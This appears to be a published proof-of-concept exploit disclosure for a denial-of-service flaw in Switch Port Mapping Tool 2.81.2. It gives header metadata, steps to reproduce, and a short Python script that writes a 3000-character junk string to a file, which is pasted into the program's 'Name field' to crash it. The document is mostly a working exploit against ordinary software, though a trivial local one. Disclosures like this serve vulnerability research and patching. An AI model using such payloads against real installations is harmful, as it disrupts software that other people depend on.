# Exploit Title: Switch Port Mapping Tool 2.81.2 - 'Name Field' Denial of Service (PoC)  
# Discovery by: Shubham Singh
# Known As: Spirited Wolf [Twitter: @Pwsecspirit] 
# Discovey Date: 2018-08-13
# Vendor Homepage: https://switchportmapper.com/
# Software Link: https://switchportmapper.com/download/spm2812.zip
# Tested Version: 2.81.2
# Tested on OS: Windows 7 Ultimate x86_64
# Steps to Reproduce: 
# Run the python exploit script, it will create a new file with the name
# "exploit.txt". Just copy the text inside "exploit.txt" and start the 
# Managed Switch Port Mapping Tool 2.81.2 program and click on "Enter Key".
# In the 'Name field' paste the content of "exploit.txt" and click 
# on "OK". You will see a crash.

#!/usr/bin/env python

file = open("exploit.txt","wb")
junk = "A" * 3000
exploit = junk
buf = exploit
file.write(buf)
file.close()